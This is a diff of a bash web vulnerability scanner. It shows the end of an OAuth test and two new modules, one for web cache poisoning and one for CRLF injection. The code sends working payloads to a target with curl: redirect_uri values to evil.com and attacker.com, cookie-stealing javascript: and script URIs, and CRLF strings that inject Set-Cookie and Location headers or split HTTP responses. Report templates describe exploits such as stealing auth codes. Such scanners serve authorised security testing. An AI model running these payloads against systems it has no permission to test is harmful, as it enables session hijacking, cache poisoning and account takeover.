||||
local base=$(get_base "$target")
|
||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||
local oauth_urls=$(echo "$urls" | grep -iE 'oauth|auth|login|signin|sso|callback|redirect|connect|authorize|token' | head -20)
|
||||
|
||||
[ -z "$oauth_urls" ] && oauth_urls="$target"
|
||||
|
||||
# OAuth redirect_uri tests
|
||||
local redirect_uris=(
|
||||
"https://evil.com"
|
||||
"https://${domain}.evil.com"
|
||||
"https://evil${domain}"
|
||||
"https://${domain}.attacker.com"
|
||||
"https://attacker.com/redirect?to=${domain}"
|
||||
"https://evil.com/?domain=${domain}"
|
||||
"https://${domain}.evil.com%2Fcallback"
|
||||
"https://evil.com%2F%40${domain}"
|
||||
"data:text/html,<script>alert(1)</script>"
|
||||
"javascript:alert(document.cookie)"
|
||||
)
|
||||
|
||||
# OAuth state parameter tests
|
||||
local state_tests=(
|
||||
"state=test123"
|
||||
"state="
|
||||
"state=missing"
|
||||
"" # missing state
|
||||
)
|
||||
|
||||
# OpenID Connect discovery
|
||||
local oidc_paths=(
|
||||
"/.well-known/openid-configuration"
|
||||
"/.well-known/oauth-authorization-server"
|
||||
"/oauth2/.well-known/openid-configuration"
|
||||
"/api/.well-known/openid-configuration"
|
||||
)
|
||||
|
||||
for oauth_url in $oauth_urls; do
|
||||
# Test for missing state parameter (CSRF on OAuth)
|
||||
if echo "$oauth_url" | grep -qi 'state='; then
|
||||
# Check if removing state still works
|
||||
local no_state_url=$(echo "$oauth_url" | sed 's/&state=[^&]*//;s/state=[^&]*&//')
|
||||
if [ "$no_state_url" != "$oauth_url" ]; then
|
||||
local resp_no_state=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 8 "$no_state_url" 2>/dev/null)
|
||||
local resp_state=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 8 "$oauth_url" 2>/dev/null)
|
||||
|
||||
if [ "$resp_no_state" != "400" ] && [ "$resp_no_state" != "403" ]; then
|
||||
print_find "OAuth CSRF — Missing State!" "State parameter removal doesn't break flow"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: OAuth CSRF (Missing State)
|
||||
DETAIL: OAuth flow works without state parameter
|
||||
URL: $oauth_url
|
||||
EXPLOIT: CSRF attack to link attacker's account to victim" > "$REPORTS_DIR/.finding_oauth_csrf_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
# Test redirect_uri open redirect
|
||||
for redirect in "${redirect_uris[@]}"; do
|
||||
local encoded_redirect=$(printf '%s' "$redirect" | jq -sRr @uri 2>/dev/null || echo "$redirect")
|
||||
|
||||
for redirect_param in "redirect_uri" "redirect" "callback" "return_url" "return_to" "next" "goto"; do
|
||||
local test_url=$(echo "$oauth_url" | sed "s|redirect_uri=[^&]*|${redirect_param}=${encoded_redirect}|" 2>/dev/null)
|
||||
|
||||
if [ "$test_url" != "$oauth_url" ] || [[ "$oauth_url" == *"$redirect_param"* ]]; then
|
||||
local final_url=$(curl -s -o /dev/null -w "%{redirect_url}" --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
|
||||
|
||||
if echo "$final_url" | grep -qi 'evil.com\|attacker.com'; then
|
||||
print_find "OAuth Open Redirect!" "redirect_uri accepts external domains"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: OAuth Redirect URI Bypass
|
||||
DETAIL: OAuth allows external redirect_uri
|
||||
URL: $test_url
|
||||
REDIRECTS_TO: $final_url
|
||||
EXPLOIT: Steal auth codes via open redirect" > "$REPORTS_DIR/.finding_oauth_redirect_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break 3
|
||||
fi
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# Check for token leakage in referer
|
||||
if echo "$oauth_url" | grep -qi 'access_token\|id_token\|token='; then
|
||||
print_find "OAuth Token in URL!" "Token exposed in URL (referer leakage risk)"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: OAuth Token Leakage
|
||||
DETAIL: Token transmitted in URL query string
|
||||
EVIDENCE: Token present in OAuth redirect URL
|
||||
EXPLOIT: Referer header leaks token to third-party resources" > "$REPORTS_DIR/.finding_oauth_token_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
fi
|
||||
done
|
||||
|
||||
# Test OIDC discovery endpoints
|
||||
for path in "${oidc_paths[@]}"; do
|
||||
local oidc_data=$(curl -s --connect-timeout 5 --max-time 8 "${base}${path}" 2>/dev/null)
|
||||
if echo "$oidc_data" | grep -qi '"issuer"\|"authorization_endpoint"\|"jwks_uri"'; then
|
||||
print_find "OIDC Discovery Exposed!" "OpenID Connect metadata at ${path}"
|
||||
echo "SEVERITY: MEDIUM
|
||||
VECTOR: OIDC Discovery Exposed
|
||||
DETAIL: OpenID Connect configuration publicly accessible
|
||||
URL: ${base}${path}
|
||||
ISSUER: $(echo "$oidc_data" | grep -o '"issuer":"[^"]*"' | cut -d'"' -f4)" > "$REPORTS_DIR/.finding_oidc_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No OAuth misconfigurations found"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
111
vectors/29-cache-poisoning.sh
Normal file
111
vectors/29-cache-poisoning.sh
Normal file
@@ -0,0 +1,111 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 29: Web Cache Poisoning — Persistent cache-based attacks
|
||||
# Desc: Tests for cache poisoning via unkeyed headers & params
|
||||
# Severity: HIGH
|
||||
# Proof: Confirms by serving poisoned content to subsequent requests
|
||||
|
||||
vector_cache_poisoning() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting Web Cache Poisoning..."
|
||||
|
||||
local base=$(get_base "$target")
|
||||
|
||||
# Unkeyed headers to test for cache poisoning
|
||||
local unkeyed_headers=(
|
||||
"X-Forwarded-Host"
|
||||
"X-Forwarded-Scheme"
|
||||
"X-Forwarded-Port"
|
||||
"X-Original-URL"
|
||||
"X-Original-Host"
|
||||
"X-Rewrite-URL"
|
||||
"X-Real-IP"
|
||||
"Forwarded"
|
||||
"X-HTTP-Method-Override"
|
||||
"X-Originating-URL"
|
||||
)
|
||||
|
||||
# Cache proxy headers to look for
|
||||
local cache_headers=(
|
||||
"X-Cache"
|
||||
"X-Cache-Lookup"
|
||||
"CF-Cache-Status"
|
||||
"Age"
|
||||
"X-Served-By"
|
||||
"X-Cached"
|
||||
"X-Proxy-Cache"
|
||||
"X-Varnish"
|
||||
"X-Cache-Debug"
|
||||
"Cache-Control"
|
||||
)
|
||||
|
||||
# First, check if caching is in use
|
||||
local baseline=$(curl -sI --connect-timeout 5 --max-time 8 "$target" 2>/dev/null)
|
||||
local cache_detected=0
|
||||
|
||||
for hdr in "${cache_headers[@]}"; do
|
||||
if echo "$baseline" | grep -qi "$hdr"; then
|
||||
cache_detected=1
|
||||
local val=$(echo "$baseline" | grep -i "$hdr" | tr -d '\r' | head -1)
|
||||
print_sub "Cache detected: $val"
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$cache_detected" -eq 1 ]; then
|
||||
# Test unkeyed headers for X-Forwarded-Host
|
||||
for header in "${unkeyed_headers[@]}"; do
|
||||
local evil_host="evil.${domain}"
|
||||
local test_response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-H "${header}: ${evil_host}" \
|
||||
"$target" 2>/dev/null)
|
||||
|
||||
# Check if the response includes our injected host
|
||||
if echo "$test_response" | grep -qi "$evil_host" || \
|
||||
echo "$test_response" | grep -qi "evil\.${domain}"; then
|
||||
print_find "Cache Poisoning via ${header}!" "Injected $evil_host into response"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: Web Cache Poisoning
|
||||
DETAIL: Unkeyed header ${header} reflected in response
|
||||
URL: $target
|
||||
HEADER: ${header}: ${evil_host}
|
||||
EXPLOIT: Poison CDN cache to serve malicious content to all users" > "$REPORTS_DIR/.finding_cache_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# Test cache key via parameter cloaking
|
||||
local cloaked_params=(
|
||||
"?test=1&test=2"
|
||||
"?test=1%26test=2"
|
||||
"?test=1&utm_source=cachebuster"
|
||||
"?test=1&dontcache=1"
|
||||
)
|
||||
|
||||
for param in "${cloaked_params[@]}"; do
|
||||
local url="${target}${param}"
|
||||
local resp1=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
|
||||
sleep 1
|
||||
local resp2=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
|
||||
|
||||
# Same size with different params = possible cache poisoning vector
|
||||
if [ "$resp1" = "$resp2" ] && [ -n "$resp1" ] && [ "$resp1" -gt 0 ]; then
|
||||
local cached_headers=$(curl -sI --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
|
||||
if echo "$cached_headers" | grep -qi "hit\|HIT\|fresh"; then
|
||||
print_find "Cacheable Parameter!" "Response cached with: $param"
|
||||
findings=$((findings + 1))
|
||||
break
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No cache poisoning opportunities found"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
103
vectors/30-crlf-injection.sh
Normal file
103
vectors/30-crlf-injection.sh
Normal file
@@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 30: CRLF Injection — HTTP Response Splitting
|
||||
# Desc: Detects CRLF injection in headers, params, and redirects
|
||||
# Severity: CRITICAL
|
||||
# Proof: Injects %0d%0a to create a second response (XSS vector)
|
||||
|
||||
vector_crlf_injection() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting CRLF Injection (Response Splitting)..."
|
||||
|
||||
local base=$(get_base "$target")
|
||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep '?' | head -15)
|
||||
[ -z "$urls" ] && urls="${target}?test=1"
|
||||
|
||||
# CRLF injection payloads
|
||||
local crlf_payloads=(
|
||||
"%0d%0aX-CRLF-Test:injected"
|
||||
"%0d%0aX-CRLF-Test:%20injected"
|
||||
"%0d%0a%0d%0a<html><script>alert(1)</script></html>"
|
||||
"%0aX-CRLF-Test:injected"
|
||||
"%0d%0aLocation:%20https://evil.com"
|
||||
"%0d%0aSet-Cookie:%20session=attacker"
|
||||
"%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>injected</html>"
|
||||
"%23%0d%0aX-CRLF-Test:injected"
|
||||
"%3f%0d%0aX-CRLF-Test:injected"
|
||||
"%2f%0d%0aX-CRLF-Test:injected"
|
||||
)
|
||||
|
||||
# Params to inject CRLF into
|
||||
local crlf_params=(
|
||||
"redirect" "url" "uri" "link" "next" "goto" "return"
|
||||
"return_url" "return_to" "page" "path" "file" "dest"
|
||||
"redirect_uri" "redirect_url" "callback" "referer"
|
||||
"logout" "login" "signout" "error" "message" "msg"
|
||||
)
|
||||
|
||||
# Also inject in headers
|
||||
local header_injections=(
|
||||
"X-Forwarded-Host: evil.com%0d%0aX-CRLF-Test:injected"
|
||||
"Referer: https://evil.com%0d%0aX-CRLF-Test:injected"
|
||||
)
|
||||
|
||||
for url in $urls; do
|
||||
local base_url=$(echo "$url" | cut -d'?' -f1)
|
||||
local existing_params=$(echo "$url" | cut -d'?' -f2-)
|
||||
|
||||
# Test URL params with CRLF payloads
|
||||
for param in "${crlf_params[@]}"; do
|
||||
for payload in "${crlf_payloads[@]}"; do
|
||||
local test_url="${base_url}?${param}=${payload}&${existing_params}"
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 -i "$test_url" 2>/dev/null)
|
||||
|
||||
# Check if CRLF injection worked (header reflection)
|
||||
if echo "$response" | grep -qi "X-CRLF-Test:\|X-CRLF-Test"; then
|
||||
print_find "CRLF Injection Confirmed!" "${param}=${payload}"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: CRLF Injection (Response Splitting)
|
||||
DETAIL: Injected HTTP headers via CRLF in ${param}
|
||||
URL: $test_url
|
||||
EVIDENCE: Custom header 'X-CRLF-Test' reflected in response
|
||||
EXPLOIT: HTTP response splitting, cache poisoning, XSS, email injection" > "$REPORTS_DIR/.finding_crlf_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break 3
|
||||
fi
|
||||
|
||||
# Check for response splitting (two HTTP responses)
|
||||
local split_count=$(echo "$response" | grep -c "HTTP/1.[01]")
|
||||
if [ "$split_count" -gt 1 ]; then
|
||||
print_find "HTTP Response Splitting!" "Two HTTP responses in one request"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: HTTP Response Splitting
|
||||
DETAIL: CRLF injection caused two HTTP responses
|
||||
URL: $test_url" > "$REPORTS_DIR/.finding_rsplit_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break 3
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# Test header injection
|
||||
for hdr in "${header_injections[@]}"; do
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 -i \
|
||||
-H "$hdr" \
|
||||
"$url" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "X-CRLF-Test:"; then
|
||||
print_find "CRLF Injection via Header!" "$hdr"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No CRLF injection found"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
Reference in New Issue
Block a user